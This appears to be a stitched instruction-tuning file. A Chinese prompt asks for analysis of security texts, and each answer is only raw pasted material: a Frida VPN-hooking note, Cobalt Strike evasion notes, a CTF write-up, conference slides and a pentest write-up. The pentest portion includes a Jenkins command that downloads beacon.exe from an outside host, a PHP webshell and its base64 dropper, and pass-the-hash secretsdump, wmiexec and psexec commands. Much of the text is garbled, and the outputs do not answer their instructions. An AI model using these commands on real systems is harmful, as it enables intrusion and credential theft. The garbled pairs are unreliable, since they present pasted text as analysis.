IDAIDAVPN
443
0x01
Atrust
frida
idapwnLinuxfrida
idakpi
pwn
“”
frida
1. webvpn
2.
ida
3. hook
fridavpnhookfuzz
0x02
fridafridafrida
apkapkapkfridaobjection
Linuxmacwindowshookfridafridahook
fridahook
demofrida-traceclihook
vpn
ps -ef | grep ECAgent //pid
sudo /home/miku/miniconda3/envs/py3.8/bin/frida-trace -i "recv" -p 1328 //attach pidhookrecv
sorecvhookjshook
 sudo vim /home/miku/__handlers__/libc_2.27.so/recv.js
hookonEnteronLeavehook
recvlibpthread_2.27.sorecv
hook
0x03
bodyECAgentwritereadsocket
hookbody
writeread
writereadfdbufbodybufhookbuf
onEnteronLeavehookhook
onEnter(log, args, state) //argsfdbuf
onLeave(log, retval, state) //args
hookwritewritebuffdonEnterbufonEnter
bufhook readreadonEnterbufreadbuf
onLeavebufonLeaveargs
JavaScript api
nativepointer
emmm
0x04
linuxvpnfrida
fridaidaserverfrida
Fridahookappfrida
frida serverhookapp
0x05
frida
frida


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

我的CS笔记之- In-memory Evasion 4-5
0x00 前言
In-memory Evasion 4-5其中包含了威胁模拟的介绍，大致意思就是通过修改c2profile模仿真实APT的样
本会产生的特征行为等，也不是百分百模拟，就是模拟了一下yara规则中的静态特征，感兴趣的小伙伴
自行学习，我就不做笔记了。除了威胁模拟，视频中还介绍了cs3.11引入 的一些内存对抗新功能主要是
Module Stomping和cleanup这2个功能。这里不由感叹一句，自从CS被卖了以后的，更换了老大以
后，更新越来越不行了，还开始搞java代码混淆，class完整性校验。多把精力花在怎么进化CS上吧，
@Joe Vest @Greg Darwin（ps:虽然这俩肯定是看不到这个文档的）。
言归正传，我主要记录Module Stomping和cleanup这2个功能。
0x01 Module Stomping和cleanup
我们首先回忆一下In-memory Evasion 2中的stageless payload加载过程中的：
1. 申请一个块儿内存（allocate memory）
2. 复制Stager去这一块儿内存里
3. 创建一个线程，运行这个Stager
4. 这个Stager会再次申请一块儿内存
5. Stager去下载加密的payload，写入申请的内存中
6. Stager把执行流程转递给这个加密的payload
7. 加密的payload自解密成Reflective DLL
8. 然后把执行流程传递给Reflective DLL
9. Reflective DLL 申请一块儿内存
10. 然后初始化自己在新的内存里面
11. 最后reflective DLL 调用payload的入口点函数
上面的步骤分配了2次内存，在内存中如图所示：
1-3 我们可以使用artifact kit做自定义处理，但是9-11就很麻烦，9-11是一个反射DLL这个反射dll包含2
部分，一部分是反射loader，一部分是beacon的功能，9-10就是使用反射loader来加载beacon功能的
过程。这儿也是被防御查杀拦截的重点。我开始对CS4.4新的自定义反射dll loader kit理解错误，也是这
儿，cs4.4这个自定义kit自定义的只是这个反射loader，并不包含beacon的功能，而BeaconEye的查杀
点是Beacon功能中的行为，因此cs4.4这个kit也不能直接对抗BeaconEye，这个kit并不包含自定义
Beacon功能。回归正题，我们的Module Stomping是怎么在9-11中起作用的。
我们知道反射DLL分为反射dll loader和beacon的功能，在loader加载功能的时候，我们就可以做很多事
情，Module Stomping就是在这个过程中起作用的。
我们再看看Module Stomping，具体是什么。技术很简单，就是导入一个系统上正常的DLL进入内存
中，然后替换内存内容为我们的beacon功能，这样可以避免使用虚拟内存分配函数virtualAlloc等。同时
让beacon功能看上去很像一个正常DLL。这里面存在几个问题：
导入的DLL不能太小，太小导致内存空间小，不能够完全复制我们的beacon功能进去。
同一个DLL在不同系统上的大小可能是不一样，有些dll在win10上很大，08上只有1/3大小，因此
你上线win10正常，上线08可能就crash了。
这个系统的DLL必须有导出函数，因为反射loader需要通过导出函数去找DLL在内存中的位置
当然反射loader也有一些防止出错的机制：
Author: L.N. / Date: 2021-09-07 Produced by AttackTeamFamily
No. 1 / 2 - Welcome to www.red-team.cn
如果配置的系统DLL不存在，会返回使用VirtualAlloc
如果配置中的DLL，已经被进程导入了，会返回使用VirtualAlloc
使用前用一定要用c2lint测试一下
当然了我们写入到内存的beacon代码也是可以开启混淆的。因为Module Stomping功能具有一定隐蔽
性，因此适合长期潜伏通道。同时这个功能也不适合高频次的操作，操作多容易出错。
我们再回到1-3步中的如果不使用artifact kit自定义，使用默认的stageless，初始化的时候就存在一次内
存申请，申请的内存在后面其实是不会使用了，但是也没有释放，因此很容易被拿去做内存扫描特征，
如果我们设置了cleanup，就会调用VirtualFree释放这个初始化过程中的内存。
我们开启这3个配置...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

我是衬衫 忍者的帅气同学罢了 昨天晚上睡觉前做了两个小时的DarkCon的 CTF 然后今天我
看题目更新了 正好在向忍者师傅语音传授如何变得向我一样帅 然后我就发了题目链接给
他
1. WTF PHP
直接上传 php 后缀的文件没有任何的限制很简单 然后进入之后 phpinfo 看 disable_function
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcnt
l_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,
pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,
pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigp
rocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpri
ority,pcntl_setpriority,pcntl_async_signals,error_log,link,symlink,s
yslog,ld,mail,exec,passthru,shell_exec,system,proc_open,popen,curl_e
xec,curl_multi_exec,parse_ini_file,show_source,highlight_file,file,f
open,fread,var_dump,readfile
Flag 在/etc 目录下
直接 scandir 拿到路径 file_get_contents 就可以了
2. Easy PHP
题目要求不允许爆破 然后我第一件事情就是爆破 发现 robots.txt
?lmao
直接访问 index.php?Lmao
返回源代码
preg_replace 的命令执行 nic3=/a/e
然后 bruh 就是得找一个函数 这个函数需要通过 is_payload_danger
的过滤 要不然不行
我试了一下 eval 通过了 使用 eval(chr(ascii code))的方法
3. Capture the MEME
打开界面就是一个和我一样帅的人的 MEME 图片
我和忍者师傅的关注点一直停留在 URL 这里 我一开始没看题目内容 以为是
SSRF 什么的 后面看了提示的内容是 flag at /etc/flag.txt
我看了一会发现 Export 之后是 PDF 我直接就想到了 Nahamsec 之前那个 SSRF
的分享
我想了好几种在 URL 那里的思路 我以为是 URL 的位置是关键 弄了半天 但是最
后才发现这个 Top Text 这里才是关键直接插入 HTML 标签就可以了
直接用这个 Payload 就可以获取到 Flag
第一次打这种 CTF 虽然一共就做了三道题 比 LOL 好玩多了
总体来说题目简单的一笔 感觉再国内的比赛里面活不过第一集 好了 我去打
LOL 了


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

d
f h
Lord of the Bing
Taking Back Search Engine Hacking From Google and Bing
Taking Back Search Engine Hacking From Google and Bing
30 July 2010
Presented by:
Presented by:
Francis Brown and Rob Ragan
Stach & Liu, LLC
www.stachliu.com
A
d
Agenda
O V E R V I E W
• Introduction
• Advanced Attacks
• Google/Bing Hacking
Google/Bing Hacking
• Other OSINT Attack Techniques
• Advanced Defenses
• Advanced Defenses
• Future Directions
2
G
l
Goals
D E S I R E D  O U T C O M E
• To understand Google Hacking
• Attacks and defenses
• Advanced tools and techniques
• To think differently about exposures
caused by publicly available sources
• To blow your mind!
3
Introduction/
B
k
d
Background
G E T T I N G  U P  T O  S P E E D
4
O
 S
 I t lli
Open Source Intelligence
S E A R C H I N G  P U B L I C  S O U R C E S
OSINT – is a form of intelligence
OSINT
is a form of intelligence
collection management that involves
finding, selecting, and acquiring
i f
ti
 f
bli l
il bl
information from publicly available
sources and analyzing it to produce
actionable intelligence.
5
Q i k Hi t
Quick History
G O O G L E  H A C K I N G  R E C A P
Dates
Event
2004
Google Hacking Database  (GHDB) begins
g
g
(
)
g
May 2004
Foundstone SiteDigger v1 released
2005
Google Hacking v1 released by Johnny Long
J
2005
F
d t
Sit Di
2
l
d
Jan. 2005
Foundstone SiteDigger v2 released
Feb. 13, 2005
Google Hack Honeypot first release
Jan. 10, 2005
MSNPawn v1.0 released
Dec. 5, 2006
Google stops issuing Google SOAP API keys
…
…
6
Q i k Hi t
Quick History
G O O G L E  H A C K I N G  R E C A P
Dates
Event
Mar. 2007
Bing disables inurl: link: and linkdomain:
g
Nov. 2, 2007
Google Hacking v2 released
Mar. 2008
cDc Goolag ‐ gui tool released
J
3 2009
Bi
li
June 3, 2009
Bing goes online
Sept. 7, 2009
Google shuts down SOAP Search API
Nov. 2009
Binging tool released
Dec. 1, 2009
FoundStone SiteDigger v 3.0 released
2010
Googlag.org disappears
7
Th
 A
Threat Areas
W H A T   Y O U   S H O U L D   K N O W
8
G
l /Bi
...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

HTTP Desync Attacks: Smashing into the Cell
Next Door
James Kettle - james.kettle@portswigger.net - @albinowax
Abstract
HTTP requests are traditionally viewed as isolated, standalone entities. In this paper, I'll explore forgotten
techniques for remote, unauthenticated attackers to smash through this isolation and splice their requests into
others, through which I was able to play puppeteer with the web infrastructure of numerous commercial and
military systems, rain exploits on their visitors, and harvest over $60k in bug bounties.
Using these targets as case studies, I'll show you how to delicately amend victim's requests to route them into
malicious territory, invoke harmful responses, and lure credentials into your open arms. I'll also demonstrate
using backend reassembly on your own requests to exploit every modicum of trust placed on the frontend,
gain maximum privilege access to internal APIs, poison web caches, and compromise PayPal's login page.
HTTP Request Smuggling was ﬁrst documented back in 2005 by Watchﬁre1, but a fearsome reputation for
difﬁculty and collateral damage left it mostly ignored for years while the web's susceptibility grew. Alongside
new attack variants and exploitation vectors, I'll help you tackle this legacy with custom open-source tooling
and a reﬁned methodology for reliable black-box detection, assessment and exploitation with minimal risk of
collateral damage.
Core concepts
Since HTTP/1.1 there's been widespread support for sending multiple HTTP requests over a single
underlying TCP or SSL/TLS socket. The protocol is extremely simple - HTTP requests are simply placed
back to back, and the server parses headers to work out where each one ends and the next one starts. This is
often confused with HTTP pipelining2, which is a rarer subtype that's not required for the attacks described in
this paper.
By itself, this is harmless. However, modern websites are composed of chains of systems, all talking over
HTTP. This multi-tiered archite...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

What we'll cover
How online intelligence gathering differs from
traditional intelligence gathering
The difference between intelligence and
espionage
Corporate “Dash boards”
Tips from the field
Opportunities for the community
Who am I?
MikeSchrenk@yahoo.com
Minneapolis-based consultancy:
Michael Schrenk Ltd. (www.schrenk.com)
Write Webbots and Spiders for corporate clients
DEFCON X, “Introduction to Writing Spiders
and Web Agents”.
Also write, speak and teach
Intelligence = Information
In a business sence, you want to know:
What can you learn about your competition?
What do people know about you?
Are people stealing from you?
The most important thing is...
What can you predict?
Collect library of information
Compare changes
Definitions
Intelligence is not necessarily:
Espionage
spying,
launching trojans
Wiretapping
A covert action
Tampering with a situation to change
A Strategy
An Election
Traditional sources for
collecting corporate intel
Go to conferences,
Hire your competition's employees,
Lookup patent records,
Use secret shoppers,
Study help wanted ads,
Read trade publications,
Talk to vendors
Disadvantages of
Traditional corporate intel
Mostly after-the-fact
Requires contact
Mostly one-time activities—must be repeated
Cannot be done anonymously
Can be expense
Gathering online intel
means learning new habits
Web agents determine how you use the Internet
Browsers
Mail clients
News readers
Telnet
Competitive advantages come when you
perform better and differently.
Webbots/Spiders
Advantages of online
corporate intelligence
Can be done from a distance (with stealth)
Can be automated
Can be done anonymously (for the most part)
Reduces or eliminates latency between when an event
happens and a decision can be made
Can be interactive
Can create relevance that traditional
methods cannot
Online Corporate Intel most
effective when...
It is automated
Data can be parsed and stored in a database
Stores data over a...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Mysteries of the Phone
System Past and Present
Patrick McNeil
@unregistered436
Owen
@LinuxBlog
Views and opinions are those of Patrick
& Owen and do not represent past,
present, or future employers.
All Service Marks, Trademarks, and
Copyrights belong to their respective
owners.
"Get this and get it straight…
Crime is a sucker’s road, and
those who travel it wind up in the
gutter, the prison, or the grave."
-Opening of the Philip Marlowe radio show
The Original Philip Marlowe - Humphrey
Bogart from “The Big Sleep”,1946
(46 / 2 = 23)
Why are we doing this?
● Phreaks as the original electronics
“hackers”
● It’s a way of thinking...
● VoIP wasn’t designed for security
● Mysteries of the past can help you
understand the present - let us be
your guide…
What we’ll cover
History
Info Leakage
Exploitation
Fraud & Abuse
PoC Tool Demo
Other
Which may include famous
movie stars and propaganda
User Dialing
● Strowger switch - alternating current
pulses & mechanical cylinder switch
per digit
● First user dialing enabled - exchange
name converted to number to dial in
small area
Carrier Growth Drives Innovation
●
Burgeoning operator workforce growth
●
Panel & Crossbar “common control” built
number in sender then processed
●
The 4A crossbar and card control
POP QUIZ!
●
Q: SF and MF - what tone critical? XXXX
Hz?
●
Q: What was the design flaw that
revolutionized the industry?
It’s TRUE mom,
the DEF CON
Goons are SO
dreamy!
Introducing Asterisk!
Asterisk Created in 1999
-
Now developed by Digium
-
GPL
-
Latest Stable: 13.0.0 (24 October 2014; 4 months ago)
-
11.13.1 (20 October 2014; 4 months ago)
Numerous Books published
-
2005 - Building Telephony Systems with Asterisk (PACKT)
-
2007 - Asterisk for dummies published
-
2007 - Asterisk Hacking published
-
AsteriskBook (AsteriskDocs.org)
AMI
AGI (http://www.voip-info.org/wiki/view/Asterisk+AGI)
You can do some cool stuff with it.
Asterisk variants...
FreePBX
Asterisk@Home
TrixBox
PBX In a Flash
Elastix
Askozi...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Technical changes
since the last Tor talk
Nick Mathewson
The Tor Project
<nickm@torproject.org>
Defcon XV
Aug 4, 2007
● Tor was working, usable, and seemed pretty
secure. (v 0.0.7.2)
● Pretty small network.
● No GUI—hard to use.
● We got a couple of Defcon talks!
Marty!
We've got to go back to the future2004!
● Hacking on Tor.(Latest is 0.2.0.4-alpha)
– Security: adding features/ﬁxing security bugs.
– Scalability: adding capacity is hard.
– Scalability: using capacity is hard.
– Usability: adding GUIs, ﬁxing bugs.
– Integration: working nice with other apps is hard.
– Lots more: See the changelog.
● Growing the network: ~200kuser, ~1kserver.
What we've been up to since then.
Outline
● Prelude: brief, fast introduction to Tor
● Directories and server discovery changes:
More secure, more scalable!
● Path generation changes:
More efﬁcient, less ﬁlling!
● Circuit-building protocol changes:
Oops. Crypto is hard.
● Some fun new tools and features:
What do you mean, I need to edit a ﬁle?
Intro anonymity: anonymity networks
hide users among users.
Alice2
Bob1
Bob2
Alice1
Alice3
Network
Intro Tor:There are a bunch of servers,
connected via TLS (ssl).
S
S
S
S
S
S
S
S
S
Intro Tor:clients build circuits through
a network of decrypting relays.
1.
S
S
S
S
S
S
S
S
S
Alice2
2.
3.
Alice1
Intro Tor:circuits are used to relay
multiple TCP streams.
1.
S
S
S
S
S
S
S
S
S
Alice2
2.
3.
Bob1
Bob2
Alice1
4.
See also:
PipeNet,
Onion Routing
6.
5.
A hostile ﬁrst hop can tell Alice is
talking, but not to whom.
S
S
S
S
S
S
S
S
S
Alice2
Bob1
Bob2
Alice1
A hostile last hop can tell somebody is
talking to Bob, but not who.
S
S
S
S
S
S
S
S
S
Alice2
Bob1
Bob2
Alice1
But: two hostile hops can correlate
trafﬁc patterns and link Alice to Bob.
S
S
S
S
S
S
S
S
S
Alice2
Bob1
Bob2
Alice1
No obvious
ﬁx that isn’t
extra-slow.
I. Directories and server discovery
● Every client must know every server.
– (If you just ask a server for a list of neighbors, it can
trivially lie.)
● All clients must know the same se...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I
I cd
cd /home/
 /home/tjmunn
tjmunn/.loop
/.loop
I
I insmod
insmod -f loop.o
 -f loop.o
I
I mount /
mount /dev
dev/sda3 /.keys
/sda3 /.keys
I
I #created
#created symlink
 symlink from .
 from .gnupg
gnupg in root's
 in root's
directory to external disk link
directory to external disk link
I
I cd
cd /root/.
 /root/.gnupg
gnupg
I
I gpg
gpg --decrypt <
 --decrypt < keyfile
 keyfile..asc
asc | mount -p
 | mount -p
0 -t ext3 /
0 -t ext3 /dev
dev/sda2 /home -o
/sda2 /home -o
loop=/
loop=/dev
dev/loop0,encryption=AES192
/loop0,encryption=AES192
I
I This is covered in the
This is covered in the readme
readme!!!
!!!
I
I  head -c 45 /
 head -c 45 /dev
dev/random | uuencode -m -
/random | uuencode -m -
| head -2 | tail -1 |
| head -2 | tail -1 | gpg
gpg -e -a -r
 -e -a -r
”Email/
”Email/userid
userid of key!" >
 of key!" > keyfile
 keyfile..asc
asc
I
I gpg
gpg --decrypt <
 --decrypt < keyfile
 keyfile..asc
asc||losetup
losetup -p
 -p
0 -e AES192 /
0 -e AES192 /dev
dev/loop3 /
/loop3 /dev
dev/sda3
/sda3
(partition to destroy!)
(partition to destroy!)
I
I mkfs
mkfs -t -j ext2 /
 -t -j ext2 /dev
dev/loop3
/loop3
I
I losetup
losetup -d /
-d /dev
dev/loop3
/loop3


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Jenkins
 PCIWriteUP
println'"bitsadmin'/rawreturn'/transfer'getfile'https://xxxxxx.myqcloud.com/beacon.exe'C:\
\\Windows\\Temp\\beacon.exe".execute().text
tomcat

4imagesgetshell
<?php'$_GET[a]($_GET[b]);?>
https://10.10.6.188/search.php?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%2
9,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};
shell'net'group'"Domain'Controllers"'/domain
shell'net'config'workstation

python3'secretsdump.py'-hashes':31d6cfe0d16ae931b73c59d7e0c089c0''polo.shirts.corp/STRIPED
$@10.10.4.84'
python3'wmiexec.py'polo.shirts.corp/administrator@10.10.4.84'-hashes':a0344e117c4fa1a0b7ce
bc63c1e8ed12
python3'psexec.py'-hashes'aad3b435b51404eeaad3b435b51404ee:b983c6d950041cd3fe5984ea272aa9f
4'aaustin@10.10.9.189'-c'/Users/xxxx/Documents/beacon.exe


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Hacking travel routers
like it’s 1999
Mikhail Sosonkin
Director of R&D
Always a Student
@hexlogic
mikhail@synack.com
http://debugtrap.com
Why do this?
Breaking in.
Show me the bugs!
The End.
We all just hack for fun… right?
I travel a lot
I work in cafes
I do security things
Why do this?
The unboxing
We want bugs!
The End
Peeking a few extra bytes...
HTTP/1.1 200 OK
Server: vshttpd
Cache-Control: no-cache
Pragma: no-cache
Expires: 0
Content-length: 8338
Content-type: text/html
Set-cookie:
SESSID=eXXzgZIWg4jnnXGidAVQpRB6joaM7D7lr3IGWtz7oRuJE;
Date: Sat, 24 Jun 2017 19:38:27 GMT
two days* with
john the ripper
All this root,
and no where
to use it
* on a reasonably priced EC2 instance
If I could
just...
●
The firmware update mechanism does
not require a signed package.{
●
Expanded, the update package is just a
shellscript
"sed '1,3d' %s|cksum|cut -d' ' -f1"
●
Custom CGI server:
○
https://sourceforge.net/projects/vshttpd/ maybe? It’s an empty project
●
Handles all *.csp REST Calls
○
●
Checks Firmware update
●
The firmware update mechanism does
not require a signed package.{
●
Expanded, the update package is just a
shellscript
More details: http://debugtrap.com/2017/03/19/travel-safe/
…
I is C++
Buffers before
function pointers
Dynamic function
calls
Dynamic initialization/
allocation
Variables before
function pointers
Lots of function pointers…
everywhere!
Allocated
structure
Get function
pointer
Store the
function pointer
Repeat for
another function
Oops… error leak!
More details: http://debugtrap.com/2017/04/10/embedded-webserver/
Why do this?
The unboxing
We want bugs!
The End
Cybergold!
●
Present
○
Partial Virtual Space randomization
○
Binary and heap are fixed
○
Libraries and stack are randomized
●
Not present
○
Stack canaries
○
Full ASLR
○
Heap protections
○
Heap/Stack NX
○
Control flow integrity
" +
"
More details: debugtrap.com/2017/05/09/tm06-vulnerabilities/
Return address on the stack
Stack pointer!
Restrictions with sprintf(“<%s>) :
●
No n...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

 0xcsandker
 csandker
 RSS Feed
//Posts
//History of Windows
//Archive
//Tags & Search
//ME
 Switch Theme
Offensive Windows IPC Internals 3: ALPC
24 May 2022 (Last Updated: 29 5⽉ 2022)
>> Introduction
>> ALPC Internals
>> The Basics
>> ALPC Message Flow
>> ALPC Messaging Details
>> ALPC Message Attributes
>> Putting the pieces together: A Sample Application
>> Attack Surface
>> Identify Targets
>> Impersonation and Non-Impersonation
>> Unfreed Message Objects
>> Conclousion
>> Appendix A: The use of connection and communication ports
Contents:
>> References
After talking about two inter-process communication (IPC) protocols that can be
uses remotely as well as locally, namely Named Pipes and RPC, with ALPC we’re
now looking at a technology that can only be used locally. While RPC stands for
Remote Procedure Call, ALPC reads out to Advanced Local Procedure Call,
sometimes also referenced as Asynchronous Local Procedure Call. Especially the
later reference (asynchronous) is a reference to the days of Windows Vista when
ALPC was introduced to replace LPC (Local Procedure Call), which is the predecessor
IPC mechanism used until the rise of Windows Vista.
A quick word on LPC
The local procedure call mechanism was introduced with the original Windows NT
kernel in 1993-94 as a synchronous inter-process communication facility. Its
synchronous nature meant that clients/servers had to wait for a message to
dispatched and acted upon before execution could continue. This was one of the
main aws that ALPC was designed to replace and the reason why ALPC is referred
to by some as asynchronous LPC.
ALPC was brought to light with Windows Vista and at least from Windows 7 onward
LPC was completely removed from the NT kernel. To not break legacy applications
and allow for backwards compatibility, which Microsoft is (in)famously known for,
the function used to create an LPC port was kept, but the function call was
redirected to not create an LPC, but an ALPC port.
CreatePort API...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Windows Process Injection in 2019
Amit Klein, Itzik Kotler
Safebreach Labs
Introduction
Process injection in Windows appears to be a well-researched topic, with many techniques now known
and implemented to inject from one process to the other. Process injection is used by malware to gain
more stealth (e.g. run malicious logic in a legitimate process) and to bypass security products (e.g. AV,
DLP and personal firewall solutions) by injecting code that performs sensitive operations (e.g. network
access) to a process which is privileged to do so.
In late 2018, we decided to take a closer look at process injection in Windows. Part of our research
effort was to understand the landscape, with a focus on present-day platforms (Windows 10 x64 1803+,
64-bit processes), and there we came across several problems:
•
We could not find a single location with a full list of all injection techniques. There are some
texts that review multiple injection techniques (hat tip to Ashkan Hosseini, EndGame for a nice
collection https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-
technical-survey-common-and-trending-process and to Csaba Fitzl AKA “TheEvilBit” for some
implementations https://github.com/theevilbit/injection), but they’re all very far from capturing
all (or almost all) techniques.
•
The texts that describe injection techniques typically lump together “true injection techniques”
(the object of this paper) with other related topics, such as process hollowing and stealthy
process spawning. In this paper, we’re interested only in injection from one 64-bit process
(medium integrity) to another, already running 64-bit process (medium integrity).
•
The texts often try to present a complete injection process, therefore mixing writing and
execution techniques, when only one of them is novel.
•
Many texts target 32-bit processes, and it was not clear whether they apply to 64-bit processes.
•
Many texts target pre-Windows 10 platf...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Module 1
A journey from high level languages, through
assembly, to the running process
https://github.com/hasherezade/malware_training_vol1
Wow64: 32 bit PE on 64 bit
Windows
WoW64: basics
• Backward compatibility: running 32 bit applications on 64 bit Windows
• 32 bit application must be isolated from the 64 bit evironment
• WoW64 is a special subsystem that provides the 32 bit environment on Windows 64 bit
WoW64: basics
• SysWow64 contains 32 bit equivalents of the DLLs that can be found in System32:
WoW64: basics
• But Ntoskrnl.exe has only one version – native (64 bit on 64 bit system)
WoW64: basics
• The following 64 bit DLLs are loaded in every 32 bit process runing on Wow64:
• WoW64Cpu.dll – an emulator to run 32 bit code on 64 bit processor
• Wow64.dll – core emulation infrastructure, thunks to Ntoskrnl.exe entry-point functions
• Wow64Win.dll – thunks to Win32k.sys entry-point functions
• Ntdll.dll (64bit version)
WoW64: basics
• Each 32 bit process runing on Wow64 has 2 versions of NTDLL
• 32-bit (from SysWow64) and 64 bit (from System32)
NTDLL.DLL (32 bit version)
NTDLL.DLL (64 bit version)
WoW64: basics
MyApp.exe (32-bit)
Kernel32.dll (32-bit)
Ntdll.dll (32-bit)
Ntdll.dll (64bit)
Wow64Cpu,dll (64-bit)
Wow64Win,dll
(64-bit)
MyApp.exe (64-bit)
Kernel32.dll (64-bit)
NtosKrnl (kernel)
Syscalls
Pass through emulation
32 bit TEB
32 bit PEB
64 bit TEB
64 bit PEB
64 bit TEB
64 bit PEB
Wow64,dll
(64-bit)
Win32k.sys
WoW64: basics
• Try scanning a demo_1.exe with PE-sieve: 64 bit version, and then 32 bit version
• Observe that:
• The 32 bit version can access only the 32 bit modules
• The 64 bit version can access both 32 and 64 bit modules
WoW64
• Wow64 can be compared to a Sandbox
32 bit process
64 bit wrapper process
64 bit process
WoW64
• How to break this isolation?
32 bit process
64 bit wrapper process
64 bit process
?
?
How is the isolation made?
• The 32 bit and 64 bit code execution is accessible via different address of the code
segment
• 32 bit: 0x2...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Face Swapping Video Detection
with CNN
Wang Yang, Junfeng Xiong,
Liu Yan, Hao Xin, Wei Tao
Baidu X-Lab
Face Swapping Video
Detection with CNN
•  Deepfakes video
•  A simple and effective CNN
•  Face recognition based method
Deepfakes Video
When Face Recognition
Systems Meet Deepfakes
Vulnerable face comparison before fake
faces
•
Microsoft Azure
azure.microsoft.com
Similarity 86.0%
Similarity 70.5%
Real
Fake
When Face Recognition
Systems Meet Deepfakes
Similarity 95.1%
Similarity 87.3%
Vulnerable face comparison before fake
faces
•
Amazon AWS
aws.amazon.com
Real
Fake
Face Swapping Video
Generation
Characteristics
•
Swap victim’s face in every frame independently
•
Not End2End
•
Only manipulate central face area
•
Autoencoder
Deepfakes Training Phase
Deepfakes Generation Phase
•  Convert
–  Person A Encoder -> Person B Decoder
•  Merge back
–  Gaussian Blur/Color Average
–  Poisson Image Editing
Face Swapping Video
Detection with CNN
•  Deepfakes video
•  A simple and effective CNN
–  capturing low-level features of the images
•  Face recognition based method
 A Simple and Effective CNN
Design purpose
•
Input contains marginal(background) information.
•
Capture low-level features of the images.
margin
(background)
face area
A Simple and Effective CNN
Training
•
Dataset from VidTIMIT
–  67600 fake faces and 66629 real faces
–  low quality and high quality images
•
Cropped faces
–  with face landmark detector MTCNN
–  obtain 1.5 scaled bounding box
•
Augmented data
–  horizontal flipping
–  randomly zooming
–  shearing transformations
 A Simple and Effective CNN
Characteristics
•
3 convolution layers
•
Accuracy rate: 99%
Face Swapping Video
Detection with CNN
•  Deepfakes video
•  A simple and effective CNN
•  Face recognition based method
–  capturing high-level features of faces
What is FaceNet?
Characteristics
•
SOTA CNN for face recognition
•
Model structure
• ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Bluehat Shanghai 2019 |
David “dwizzzle” Weston |
Microsoft OS Security Group Manager
不断增强的 Windows 安全性
早上好 上海！
PC 上的 Windows
熟悉的桌面体验
庞大的硬件生态
桌面应用兼容性
One Core OS
基础操作系统
应用和设备平台
运行时和框架
Xbox 上的 Windows
Windows 10 界面体验
独特的安全模型
共享的游戏体验
IoT 中的 Windows
基础操作系统
应用和设备平台
运行时和框架
还有更多地方……
适配不同形态设备
界面体验
支持不同设备场景
Windows 正在不断进化……
恶意代码无法在设备
上存留。
违反承诺的举措会被
立即发现。
所有应用和系统组件
仅具备必须的特权。
所有代码执行均可保
证完整性。
用户标识无法被攻陷、
嗅探或盗窃。
随意通过物理方式访
问的攻击者，无法修
改设备上的数据或代
码。
增强的安全性
Windows 10 S
10 S
统
2
1
强制代码签名
无需密码即可登录
“Admin Less”用户帐户
4
3
阻止来自互联网的脚本和宏
1
以管理员身份运行
2
执行不带签名的代码
3
使用密码
4
缓解措施并不总能生效
10 S：安装数上百万，尚未检测到广泛传播的恶意软件
所有代码执行均可保证完整性。
代码完整性的改进
CI 策略移除了大部分“代理的”二进制文件
仅提供带有应用商店签名的应用（UWP 或 Centennial）
支持危险操作的“远程”文件扩展已被阻止
远程 Office 宏默认已被阻止
Windows 10 S
所有二进制文件
带有微软签名的
代理的二进制文件
危险的句柄
远程的危险
文件
第一重代码完整性保护
“第一重”CI 绕过，使得远程攻击者能够触发未签名代
码的初始执行
10 S 侧重于防止“第一重”绕过
“第二重”绕过，使得在执行完初始代码 之后，可以进
一步执行更多未签名代码
10 S 为“第二重”绕过提供了持久的保证
Windows 10 S
Network
Physical Machine
Trigger
Handler
No
Yes
10 S restricts “dual
use” non-PE with
cloud service
漏洞利用缓解策略
提高被利用的成
本
控制流完整性
仅限签名代码
只读数据
消除不同类型的漏洞
控制流面临的挑战
危险的调用目
标
不受保护的栈
数据流破坏
1
2
3
((void(*)(int, int)) funcptr)(0, 1);
obj->method1();
void function_A(int, int) { ... }
int function_B(int, int) { ... }
void function_C(Object*) { ... }
void Object::method1()
{ ... }
void Object::method1(int, int) { ... }
void Object::method2()
{ ... }
void Object2::method1()
{ ... }
调用站点
调用目标
CFG
Windows 中的第一代 CFI，出于兼容性和性能方面的考虑，粒度较大
使用“导出限制”减小特定进程（如 Microsoft Edge）中合法调用点的数量
改善控制流完整性
隆重介绍：XFG
目标：通过高效、兼容性高的方式提供更细化的 CFI
概念：通过类型签名检查保证合法的间接跳转
((void(*)(int, int)) funcptr)(0, 1);
obj->method1();
void function_A(int, int) { ... }
int function_B(int, int) { ... }
void function_C(Object*) { ... }
void Object::method1()
{ ... }
void Object::method1(int, int) { ... }
void Object::method2()
{ ... }
void Object2::method1()
{ ... }
调用站点
调用目标
改善控制流完整性
XFG 的设计：基础
为每个获取地址的函数分配一个基于类型签名的标志
对于 C 风格的函数，可能为：
hash(type(return_value), type(arg1), type(arg2), ...)
